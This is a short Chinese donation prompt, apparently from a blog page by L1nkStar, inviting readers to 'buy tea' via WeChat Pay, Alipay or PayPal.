请我喝[茶]~( ̄▽ ̄)~*

L1nkStar 微信支付

微信支付

L1nkStar 支付宝

支付宝

L1nkStar 贝宝

贝宝